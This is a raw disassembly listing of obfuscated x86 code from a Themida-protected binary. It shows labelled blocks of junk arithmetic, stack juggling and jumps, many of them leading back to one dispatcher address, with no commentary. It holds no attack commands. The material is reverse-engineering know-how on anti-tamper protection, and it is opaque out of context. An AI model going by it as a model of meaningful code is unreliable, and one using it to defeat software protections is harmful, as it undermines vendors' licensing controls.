		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	small 54Dh
		jmp	loc_55E0F6
; ---------------------------------------------------------------------------


loc_567303:				; CODE XREF: Themida_:0056E017j
		pop	ecx
		mov	edx, ecx
		pop	ecx
		shl	edx, 3
		sub	edx, 529B08ACh
		add	eax, edx
		jmp	loc_56B0FA
; ---------------------------------------------------------------------------


loc_567317:				; CODE XREF: Themida_:00562303j
		push	edi
		mov	edi, 3DC97DD2h
		push	edx
		push	ecx
		push	edx
		mov	edx, 513F35CCh
		mov	ecx, edx
		jmp	loc_56A96B
; ---------------------------------------------------------------------------


loc_56732C:				; CODE XREF: Themida_:005725EFj
		mov	esi, esp
		jmp	loc_5688EA
; ---------------------------------------------------------------------------


loc_567333:				; CODE XREF: Themida_:005605B6j
		push	3538h
		jmp	loc_56191B
; ---------------------------------------------------------------------------


loc_56733D:				; CODE XREF: Themida_:0055E0C2j
		sub	esp, 4
		jmp	loc_560CCC
; ---------------------------------------------------------------------------


loc_567348:				; CODE XREF: Themida_:00569C85j
		pop	esi
		add	esi, 5FBE182Eh
		pop	ebx
		add	eax, 6641190Bh
		jmp	loc_56490F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	597h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	edx
		jmp	loc_56B283
; ---------------------------------------------------------------------------


loc_567370:				; CODE XREF: Themida_:0057211Dj
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56737C:				; CODE XREF: Themida_:0056E509j
		add	ecx, 33030150h
		add	ecx, 9786E45h
		add	ecx, esi
		sub	ecx, 9786E45h
		sub	ecx, 33030150h
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 21D3397Dh
		add	ecx, eax
		jmp	loc_56AE06
; ---------------------------------------------------------------------------


loc_5673A9:				; CODE XREF: Themida_:0056E3D1j
		add	esp, 4
		jmp	loc_56B92B
; ---------------------------------------------------------------------------


loc_5673B1:				; CODE XREF: Themida_:00570EEFj
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		jmp	loc_566AD6
; ---------------------------------------------------------------------------


loc_5673C3:				; CODE XREF: Themida_:0056D1A9j
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 170B5866h
		sub	eax, 1BBE3CECh
		inc	eax
		shr	eax, 7
		push	66B5h
		mov	[esp], esi
		push	edi
		jmp	loc_563734
; ---------------------------------------------------------------------------


loc_567409:				; CODE XREF: Themida_:0056F11Bj
		mov	[esp], ebp
		mov	ebp, 585E0EC5h
		add	ebp, 39D02BE5h
		and	ebp, 14E1033Dh
		neg	ebp
		xor	ebp, 0F7AFA36Eh
		not	ebp
		not	ebp
		inc	ebp
		neg	ebp
		inc	ebp
		jmp	loc_569757
; ---------------------------------------------------------------------------


loc_567432:				; CODE XREF: Themida_:0056B50Dj
		mov	ecx, 2FF0395Ah
		neg	ecx
		sub	ecx, 0DA962B3h
		shl	ecx, 2
		jmp	loc_56151D
; ---------------------------------------------------------------------------


loc_567447:				; CODE XREF: Themida_:0056BBC9j
		mov	[esp], edx
		mov	edx, 4
		push	eax
		mov	eax, 30736A1Dh
		shr	eax, 7
		add	eax, 5EFA226Bh
		add	ebx, eax
		jmp	loc_55F34B
; ---------------------------------------------------------------------------


loc_567464:				; CODE XREF: Themida_:00567EF3j
		push	esi
		push	12267B33h
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 6
		push	2E23h
		mov	[esp], ebp
		push	ebx
		jmp	loc_56D251
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56748C:				; CODE XREF: Themida_:0055EC61j
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56749A:				; CODE XREF: Themida_:00570CC9j
		sub	ch, bl
		sub	ch, 0B2h
		pop	ebx
		shr	ch, 3
		jmp	loc_563442
; ---------------------------------------------------------------------------


loc_5674A8:				; CODE XREF: Themida_:00568916j
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D5F5
; ---------------------------------------------------------------------------


loc_5674B2:				; CODE XREF: Themida_:00568EC5j
		xor	ebx, edx
		pop	edx
		and	esi, ebx
		pop	ebx
		jmp	loc_56C76C
; ---------------------------------------------------------------------------


loc_5674BD:				; CODE XREF: Themida_:00565C66j
		shl	ebp, 8
		not	ebp
		inc	ebp
		dec	ebp
		add	ebp, 4F51300Fh
		add	eax, ebp
		jmp	loc_55F93E
; ---------------------------------------------------------------------------


loc_5674D1:				; CODE XREF: Themida_:00564547j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_55ED6E
; ---------------------------------------------------------------------------


loc_5674DC:				; CODE XREF: Themida_:00572679j
		add	al, bl
		jmp	loc_56E13C
; ---------------------------------------------------------------------------


loc_5674E3:				; CODE XREF: Themida_:0056509Ej
		add	ecx, 5A16528Bh
		add	ecx, edi
		push	esi
		jmp	loc_56943F
; ---------------------------------------------------------------------------


loc_5674F1:				; CODE XREF: Themida_:005659C5j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_571F73
; ---------------------------------------------------------------------------


loc_567500:				; CODE XREF: Themida_:0056927Cj
		xor	ebx, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56750C:				; CODE XREF: Themida_:005645C8j
		sub	edi, esi
		jmp	loc_571E71
; ---------------------------------------------------------------------------


loc_567513:				; CODE XREF: Themida_:00566AD1j
		mov	bl, 78h
		or	dl, bl
		pop	ebx
		shr	dl, 6
		neg	dl
		xor	dl, 53h
		jmp	loc_55EE41
; ---------------------------------------------------------------------------


loc_567525:				; CODE XREF: Themida_:0057296Dj
		or	eax, 0EB82AA7h
		add	eax, 7CF92CCDh
		xor	eax, 1BB1CBA8h
		jmp	loc_55FA6C
; ---------------------------------------------------------------------------


loc_567539:				; CODE XREF: Themida_:0056937Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55EF88
; ---------------------------------------------------------------------------


loc_567559:				; CODE XREF: Themida_:0056487Ej
		pop	ebp
		add	[esp+8], edx
		sub	dword ptr [esp+8], 13D62849h
		jmp	loc_572A32
; ---------------------------------------------------------------------------


loc_56756B:				; CODE XREF: Themida_:0056F26Fj
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_565A77
; ---------------------------------------------------------------------------


loc_567576:				; CODE XREF: Themida_:0056F329j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_567869
; ---------------------------------------------------------------------------


loc_56757F:				; CODE XREF: Themida_:00560965j
		xor	[edx], ecx
		pop	edx
		inc	ecx
		sub	esp, 4
		jmp	loc_55EA6A
; ---------------------------------------------------------------------------


loc_56758B:				; CODE XREF: Themida_:00560F43j
		pop	eax
		dec	ecx
		xor	ecx, 95A04BB6h
		mov	eax, ecx
		jmp	loc_56D14D
; ---------------------------------------------------------------------------


loc_56759A:				; CODE XREF: Themida_:0055D801j
		sub	dh, 0FCh
		inc	dh
		sub	dh, 30h
		sub	dh, 3Ch
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_570F3B
; ---------------------------------------------------------------------------


loc_5675B3:				; CODE XREF: Themida_:00562FE5j
		push	ebp
		mov	ebp, 458A7230h
		sub	edx, ebp
		pop	ebp
		sub	edx, 2E8872FCh
		shr	edx, 6
		shl	edx, 4
		sub	edx, 25AD3542h
		add	edi, edx
		pop	edx
		push	eax
		sub	esp, 4
		jmp	loc_55FCB5
; ---------------------------------------------------------------------------


loc_5675DA:				; CODE XREF: Themida_:0055E2D2j
		sub	ebx, 409856ADh
		mov	edi, [esp]
		jmp	loc_5719D7
; ---------------------------------------------------------------------------


loc_5675E8:				; CODE XREF: Themida_:00567729j
		add	esp, 4
		pop	ebx
		add	bl, cl
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_56E19D
; ---------------------------------------------------------------------------


loc_567609:				; CODE XREF: Themida_:00562070j
		mov	al, 9
		add	al, 0E1h
		neg	al
		or	al, 0D1h
		jmp	loc_56F686
; ---------------------------------------------------------------------------


loc_567616:				; CODE XREF: Themida_:00566339j
		sub	ebp, 10755E18h
		add	ebp, ecx
		jmp	loc_56122A
; ---------------------------------------------------------------------------


loc_567623:				; CODE XREF: Themida_:00565CD3j
		xchg	edx, [esp]
		pop	esp
		push	1E65h
		jmp	loc_56BB44
; ---------------------------------------------------------------------------


loc_567631:				; CODE XREF: Themida_:0056CE7Dj
		add	esp, 4
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		dec	edi
		push	ecx
		mov	ecx, 2F613012h
		shr	ecx, 7
		push	edi
		mov	edi, 369C1B5Ch
		add	edi, 0C963E4A3h
		sub	ecx, edi
		jmp	loc_560724
; ---------------------------------------------------------------------------


loc_567659:				; CODE XREF: Themida_:0056B2EDj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_562FF3
; ---------------------------------------------------------------------------


loc_567664:				; CODE XREF: Themida_:0056EA38j
		push	ebx
		mov	bl, 0B0h
		push	edx
		mov	dh, 10h
		push	ecx
		push	edx
		mov	dh, 0F3h
		push	cx
		mov	ch, 32h
		sub	dh, ch
		pop	cx
		sub	dh, 3Fh
		shl	dh, 7
		sub	dh, 11h
		mov	cl, dh
		pop	edx
		and	cl, 46h
		shl	cl, 6
		jmp	loc_55DB08
; ---------------------------------------------------------------------------


loc_56768D:				; CODE XREF: Themida_:00570DE2j
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		push	ecx
		mov	ecx, 6CC81AA5h
		dec	ecx
		jmp	loc_56D2C1
; ---------------------------------------------------------------------------


loc_5676A2:				; CODE XREF: Themida_:0055E729j
		push	eax
		jmp	loc_562BCC
; ---------------------------------------------------------------------------


loc_5676A8:				; CODE XREF: Themida_:00560139j
		and	dl, 81h
		push	ebx
		mov	bh, 18h
		xor	dl, bh
		pop	ebx
		not	dl
		inc	dl
		push	ax
		mov	ah, 0C1h
		jmp	loc_5707F1
; ---------------------------------------------------------------------------


loc_5676BE:				; CODE XREF: Themida_:00563066j
		not	esi
		sub	esi, 81E51378h
		jmp	loc_5715EB
; ---------------------------------------------------------------------------


loc_5676CB:				; CODE XREF: Themida_:0056ADB0j
		pop	ecx
		jmp	loc_56D73C
; ---------------------------------------------------------------------------


loc_5676D1:				; CODE XREF: Themida_:0056051Dj
		xchg	edi, [esp]
		jmp	loc_567CAF
; ---------------------------------------------------------------------------


loc_5676D9:				; CODE XREF: Themida_:005728D0j
		add	edi, ecx
		add	edi, 33ED22B0h
		pop	ecx
		sub	edi, 77C20392h
		add	edi, edx
		add	edi, 77C20392h
		sub	edi, 462412CEh
		add	edi, 65277B6h
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5724F7
; ---------------------------------------------------------------------------


loc_567708:				; CODE XREF: Themida_:005612D8j
		mov	[esp], esi
		push	126419DEh
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 248BF27h
		jmp	loc_565214
; ---------------------------------------------------------------------------


loc_567724:				; CODE XREF: Themida_:0056A825j
		mov	cl, ah
		mov	eax, [esp]
		jmp	loc_5675E8
; ---------------------------------------------------------------------------


loc_56772E:				; CODE XREF: Themida_:0056B6B4j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 26B86373h
		jmp	loc_56B93D
; ---------------------------------------------------------------------------


loc_567742:				; CODE XREF: Themida_:0056C19Bj
		mov	dx, [esp]
		jmp	loc_571A7F
; ---------------------------------------------------------------------------


loc_56774B:				; CODE XREF: Themida_:0057197Aj
		pop	esi
		jmp	loc_55F870
; ---------------------------------------------------------------------------


loc_567751:				; CODE XREF: Themida_:0056CC5Aj
		pop	esp
		sub	ebx, 17361C63h
		sub	ebx, 40ED6CF4h
		push	eax
		push	edi
		mov	edi, 3D450550h
		sub	edi, 0C38AF40Ch
		mov	eax, edi
		pop	edi
		add	eax, 0FFFFFFFFh
		xor	eax, 5E2A7A11h
		sub	ebx, eax
		pop	eax
		add	ebx, 3BFB5464h
		jmp	loc_55DC2A
; ---------------------------------------------------------------------------


loc_567786:				; CODE XREF: Themida_:005624CFj
		push	ecx
		mov	ch, ah
		mov	bl, ch
		jmp	loc_561957
; ---------------------------------------------------------------------------


loc_567790:				; CODE XREF: Themida_:0056AB08j
		sub	edx, esi
		add	edx, 2B1D2A93h
		jmp	loc_561056
; ---------------------------------------------------------------------------


loc_56779D:				; CODE XREF: Themida_:00560ED5j
		add	[esp+4], esi
		sub	dword ptr [esp+4], 195D565Dh
		add	dword ptr [esp+4], 44E7261Ch
		push	dword ptr [esp]
		jmp	loc_55FB9E
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_570746
; ---------------------------------------------------------------------------


loc_5677C1:				; CODE XREF: Themida_:0056417Fj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_567F3E
		push	6D66h
		mov	[esp], edx
		push	40B0h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56CA82
; ---------------------------------------------------------------------------


loc_5677EA:				; CODE XREF: Themida_:0056962Ej
		pop	esp
		push	ebp
		mov	ebp, 12246E1Bh
		sub	[esp+4], ebp
		pop	ebp
		add	dword ptr [esp], 43135E74h
		jmp	loc_56C673
; ---------------------------------------------------------------------------


loc_567802:				; CODE XREF: Themida_:00561C75j
		push	esi
		mov	esi, 7D56DBB9h
		add	ebx, 23242B4Eh
		sub	ebx, 1C3500CDh
		sub	ebx, esi
		jmp	loc_56ACCE
; ---------------------------------------------------------------------------


loc_56781B:				; CODE XREF: Themida_:005627B0j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 347034BCh
		sub	esi, eax
		jmp	loc_572091
; ---------------------------------------------------------------------------


loc_56782E:				; CODE XREF: Themida_:00560657j
		add	edi, 0F4B76BEh
		pop	edx
		sub	esp, 4
		jmp	loc_56C236
; ---------------------------------------------------------------------------


loc_567840:				; CODE XREF: Themida_:005641D2j
		mov	ebp, 2C943921h
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5619AB
; ---------------------------------------------------------------------------


loc_567859:				; CODE XREF: Themida_:00563A8Fj
		mov	ecx, 30C377AFh
		add	ebx, ecx
		pop	ecx
		pop	ebp
		push	edx
		push	esp
		jmp	loc_565FE7
; ---------------------------------------------------------------------------


loc_567869:				; CODE XREF: Themida_:0056757Aj
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56FBDC
; ---------------------------------------------------------------------------


loc_567880:				; CODE XREF: Themida_:00562372j
		add	eax, 7B6F127Fh
		jmp	loc_56F66F
; ---------------------------------------------------------------------------


loc_56788A:				; CODE XREF: Themida_:005717BBj
		mov	esi, 0F82561Eh
		xor	eax, esi
		jmp	loc_560E69
; ---------------------------------------------------------------------------


loc_567896:				; CODE XREF: Themida_:00563EA0j
		add	esi, edi
		jmp	loc_56A233
; ---------------------------------------------------------------------------


loc_56789D:				; CODE XREF: Themida_:0056025Cj
		sub	esp, 4
		jmp	loc_562631
; ---------------------------------------------------------------------------


loc_5678A5:				; CODE XREF: Themida_:00569A6Dj
		add	edx, ebx
		add	edx, 712B5F69h
		push	ebp
		mov	ebp, 7A1C0FEDh
		sub	edx, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56946B
; ---------------------------------------------------------------------------


loc_5678BF:				; CODE XREF: Themida_:00570936j
		pop	ebx
		push	1345h
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_566509
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 117C01F5h
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_569DDB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	4773h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_55E215
; ---------------------------------------------------------------------------


loc_56792B:				; CODE XREF: Themida_:00563D69j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_567930:				; CODE XREF: Themida_:00560F57j
		xor	edx, 47EC4197h
		shl	edx, 2
		xor	edx, 6F7D5CB8h
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_560F77
; ---------------------------------------------------------------------------


loc_56794B:				; CODE XREF: Themida_:005600F5j
		not	ecx
		add	ecx, 1C8D7679h
		push	ebp
		mov	ebp, 7EF334AFh
		add	ecx, ebp
		pop	ebp
		add	ebx, ecx
		jmp	loc_57066C
; ---------------------------------------------------------------------------


loc_567963:				; CODE XREF: Themida_:00567E09j
		sub	esi, 20D0699Bh
		add	esi, 57ED4C86h
		pop	edx
		dec	esi
		push	6D47h
		mov	[esp], edx
		mov	edx, 0DDA36C15h
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, esi
		jmp	loc_560398
; ---------------------------------------------------------------------------


loc_567990:				; CODE XREF: Themida_:0056C3A1j
		mov	[esp], ebx
		push	eax
		jmp	loc_55F486
; ---------------------------------------------------------------------------


loc_567999:				; CODE XREF: Themida_:0056C7F4j
		mov	[esp], esi
		push	ebx
		push	ecx
		jmp	loc_569490
; ---------------------------------------------------------------------------


loc_5679A3:				; CODE XREF: Themida_:0056A68Bj
		add	esp, 4
		push	eax
		mov	al, dh
		mov	bl, al
		pop	eax
		jmp	loc_562FEA
; ---------------------------------------------------------------------------


loc_5679B1:				; CODE XREF: Themida_:00562E4Aj
		push	esp
		jmp	loc_5727AC
; ---------------------------------------------------------------------------


loc_5679B7:				; CODE XREF: Themida_:0055FD6Cj
		sub	ch, 88h
		add	al, ch
		mov	ecx, [esp]
		push	ebp
		push	esp
		jmp	loc_56F8B7
; ---------------------------------------------------------------------------


loc_5679C6:				; CODE XREF: Themida_:0056830Dj
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	427Eh
		mov	[esp], ecx
		jmp	loc_56164E
; ---------------------------------------------------------------------------


loc_5679E9:				; CODE XREF: Themida_:0056D051j
		shl	eax, 6
		jmp	loc_55D985
; ---------------------------------------------------------------------------


loc_5679F1:				; CODE XREF: Themida_:0055DD3Fj
		mov	[esp], ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 38C76E01h
		jmp	loc_56F300
; ---------------------------------------------------------------------------


loc_567A0C:				; CODE XREF: Themida_:0056EC61j
		mov	ebp, 10h
		and	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_564958
; ---------------------------------------------------------------------------


loc_567A28:				; CODE XREF: Themida_:00561D8Bj
		mov	[esp], edi
		jmp	loc_567D30
; ---------------------------------------------------------------------------


loc_567A30:				; CODE XREF: Themida_:0056EDFFj
		push	ebx
		push	ebp
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_566E4C
; ---------------------------------------------------------------------------


loc_567A3E:				; CODE XREF: Themida_:00571743j
		push	86E510Fh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5640A2
; ---------------------------------------------------------------------------


loc_567A51:				; CODE XREF: Themida_:0056F687j
		mov	dh, 24h
		neg	dh
		shl	dh, 6
		neg	dh
		jmp	loc_56A34C
; ---------------------------------------------------------------------------


loc_567A5F:				; CODE XREF: Themida_:00565E28j
		not	ebp
		xchg	ebp, ecx
		jmp	loc_566D2F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	eax
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_561EA7
; ---------------------------------------------------------------------------


loc_567A8E:				; CODE XREF: Themida_:00572996j
		pop	ecx
		jmp	loc_567AB3
; ---------------------------------------------------------------------------


loc_567A94:				; CODE XREF: Themida_:0056F227j
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56B9B6
; ---------------------------------------------------------------------------


loc_567AA3:				; CODE XREF: Themida_:005684B3j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	edx
		jmp	loc_56461D
; ---------------------------------------------------------------------------


loc_567AB3:				; CODE XREF: Themida_:00567A8Fj
		push	19E2h
		mov	[esp], ebp
		push	ecx
		jmp	loc_5691E3
; ---------------------------------------------------------------------------


loc_567AC1:				; CODE XREF: Themida_:00568E1Cj
		xor	[esp], edx
		jmp	loc_55FA74
; ---------------------------------------------------------------------------


loc_567AC9:				; CODE XREF: Themida_:00565367j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_55F305
; ---------------------------------------------------------------------------


loc_567ADA:				; CODE XREF: Themida_:005713F9j
		mov	[esp], ecx
		mov	ecx, 5BE91088h
		jmp	loc_564663
; ---------------------------------------------------------------------------


loc_567AE7:				; CODE XREF: Themida_:0056E0CCj
		sub	dword ptr [esp+4], 77162041h
		add	[esp+4], ebp
		jmp	loc_563386
; ---------------------------------------------------------------------------


loc_567AF8:				; CODE XREF: Themida_:0056E2C9j
		pop	eax
		jmp	loc_564348
; ---------------------------------------------------------------------------


loc_567AFE:				; CODE XREF: Themida_:005650D3j
		push	edx
		push	0D966A85h
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56D3E0
; ---------------------------------------------------------------------------


loc_567B1B:				; CODE XREF: Themida_:0056CCFFj
		mov	ebp, 0DDA13930h
		xor	esi, ebp
		jmp	loc_5691B8
; ---------------------------------------------------------------------------


loc_567B27:				; CODE XREF: Themida_:00572AF8j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56E429
; ---------------------------------------------------------------------------


loc_567B3F:				; CODE XREF: Themida_:0056231Cj
		pop	edx
		not	ebp
		jmp	loc_566939
; ---------------------------------------------------------------------------


loc_567B47:				; CODE XREF: Themida_:0056F815j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_567089
; ---------------------------------------------------------------------------


loc_567B5C:				; CODE XREF: Themida_:00569701j
		xor	ebp, 993A89CCh
		or	ecx, ebp
		jmp	loc_56B647
; ---------------------------------------------------------------------------


loc_567B69:				; CODE XREF: Themida_:005693ACj
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_56C046
; ---------------------------------------------------------------------------


loc_567B73:				; CODE XREF: Themida_:0056B00Cj
		and	edx, 540E1308h
		sub	edx, 7D4E1FA8h
		inc	edx
		xor	edx, 6B592ABFh
		add	edx, 4C642483h
		xor	edx, 3E71D8EEh
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_56AB68
; ---------------------------------------------------------------------------


loc_567BA0:				; CODE XREF: Themida_:0056D9C2j
		mov	esp, [esp]
		jmp	loc_561043
; ---------------------------------------------------------------------------


loc_567BA8:				; CODE XREF: Themida_:0055F24Bj
		mov	[esp], edx
		mov	dx, 719Bh
		push	bx
		mov	bx, 124Bh
		sub	dx, 137h
		add	dx, 219Fh
		add	dx, bx
		jmp	loc_56D971
; ---------------------------------------------------------------------------


loc_567BC7:				; CODE XREF: Themida_:0055EB52j
		add	ah, dh
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, ah
		push	eax
		mov	al, dh
		jmp	loc_56B64D
; ---------------------------------------------------------------------------


loc_567BDD:				; CODE XREF: Themida_:00563F9Fj
		add	ecx, eax
		jmp	loc_55DF2E
; ---------------------------------------------------------------------------


loc_567BE4:				; CODE XREF: Themida_:0055DB9Aj
		push	edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_56D42D
; ---------------------------------------------------------------------------


loc_567BED:				; CODE XREF: Themida_:0056639Bj
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_56B394
; ---------------------------------------------------------------------------


loc_567C07:				; CODE XREF: Themida_:00561D67j
		push	303Ch
		jmp	loc_56E055
; ---------------------------------------------------------------------------


loc_567C11:				; CODE XREF: Themida_:00563053j
		mov	ebx, 4
		jmp	loc_5639D6
; ---------------------------------------------------------------------------


loc_567C1B:				; CODE XREF: Themida_:0056073Cj
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56FC97
; ---------------------------------------------------------------------------


loc_567C29:				; CODE XREF: Themida_:00570837j
		sub	esi, 6E88EE8Ch
		add	ebx, esi
		pop	esi
		jmp	loc_56ECF7
; ---------------------------------------------------------------------------


loc_567C37:				; CODE XREF: Themida_:0056A0A9j
		mov	edi, 66963C10h
		add	edi, 0E43827B4h
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 0F851CD5Eh
		add	ebx, ebp
		jmp	loc_565DC3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	3FA1h
		mov	[esp], esp
		jmp	loc_56114E
; ---------------------------------------------------------------------------


loc_567C71:				; CODE XREF: Themida_:0056AFEDj
		xchg	ecx, [esp]
		jmp	loc_56EE58
; ---------------------------------------------------------------------------


loc_567C79:				; CODE XREF: Themida_:0056B774j
		add	ebp, 67FB3C67h
		add	ebp, 6F7F6006h
		jmp	loc_56F25C
; ---------------------------------------------------------------------------


loc_567C8A:				; CODE XREF: Themida_:00564247j
		xchg	ebx, esi
		pop	ebx
		push	ebx
		push	edi
		mov	edi, 0AAA79C50h
		jmp	loc_570170
; ---------------------------------------------------------------------------


loc_567C99:				; CODE XREF: Themida_:00564FC5j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_560DCD
; ---------------------------------------------------------------------------


loc_567CA4:				; CODE XREF: Themida_:0056876Aj
		pop	ecx
		not	edi
		xchg	edx, edi
		inc	edx
		jmp	loc_56AF18
; ---------------------------------------------------------------------------


loc_567CAF:				; CODE XREF: Themida_:005676D4j
		pop	esp
		pop	ecx
		sub	ecx, 18FA2AD3h
		sub	esp, 4
		jmp	loc_571E33
; ---------------------------------------------------------------------------


loc_567CC2:				; CODE XREF: Themida_:0055F9E7j
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		push	2144h
		mov	[esp], edx
		jmp	loc_5635B0
; ---------------------------------------------------------------------------


loc_567CDA:				; CODE XREF: Themida_:0055F66Cj
		mov	edx, 6E6A168Fh
		add	ebx, edx
		pop	edx
		push	esi
		push	ebp
		mov	ebp, 25E02364h
		shl	ebp, 1
		and	ebp, 4BC3EC4h
		jmp	loc_5672BE
; ---------------------------------------------------------------------------


loc_567CF6:				; CODE XREF: Themida_:00564730j
		push	cx
		mov	cl, 32h
		jmp	loc_562B0E
; ---------------------------------------------------------------------------


loc_567CFF:				; CODE XREF: Themida_:0056D836j
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_5649A9
; ---------------------------------------------------------------------------


loc_567D09:				; CODE XREF: Themida_:0056EC44j
		mov	ebx, 77D842FCh
		inc	ebx
		shr	ebx, 5
		and	ebx, 5504F9Ah
		jmp	loc_56B6FD
; ---------------------------------------------------------------------------


loc_567D1D:				; CODE XREF: Themida_:00562472j
		pop	ecx
		push	4641h
		mov	[esp], eax
		mov	eax, 5B926F6Ch
		jmp	loc_5634A5
; ---------------------------------------------------------------------------


loc_567D30:				; CODE XREF: Themida_:00567A2Bj
		push	3F11h
		mov	[esp], edx
		mov	edx, 1BDD4236h
		sub	edx, 0FFFFFFFFh
		inc	edx
		dec	edx
		push	ecx
		mov	ecx, 7D730FDAh
		sub	ecx, 7A75BF74h
		jmp	loc_563837
; ---------------------------------------------------------------------------


loc_567D53:				; CODE XREF: Themida_:0056A0EAj
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55FB4E
; ---------------------------------------------------------------------------


loc_567D5C:				; CODE XREF: Themida_:00563DE7j
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_56A6BC
; ---------------------------------------------------------------------------


loc_567D72:				; CODE XREF: Themida_:00571C0Aj
		and	ecx, edi
		jmp	loc_5610C2
; ---------------------------------------------------------------------------


loc_567D79:				; CODE XREF: Themida_:0056CFD0j
		pop	eax
		sub	al, dh
		mov	edx, [esp]
		jmp	loc_563668
